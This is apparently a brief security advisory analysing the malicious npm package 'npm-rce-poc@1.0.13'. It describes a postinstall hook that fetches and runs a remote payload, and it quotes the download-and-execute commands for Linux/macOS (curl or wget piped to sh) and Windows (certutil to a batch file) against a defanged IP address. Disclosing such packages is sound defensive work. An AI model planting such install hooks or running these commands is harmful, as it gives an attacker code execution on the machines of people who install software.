npm-rce-poc@1.0.13

Analysis

The package ships a postinstall hook (postinstall.js) that downloads and executes a remote payload. On Linux/macOS it runs `curl -fsSL hxxp://115[.]190[.]124[.]243:8761/slt | sh` (falling back to wget). On Windows it uses certutil to download hxxp://115[.]190[.]124[.]243:8761/swt to C:\Users\Public\run.bat and executes it. The bundled index.js is a decoy date-formatting library unrelated to the package's stated purpose.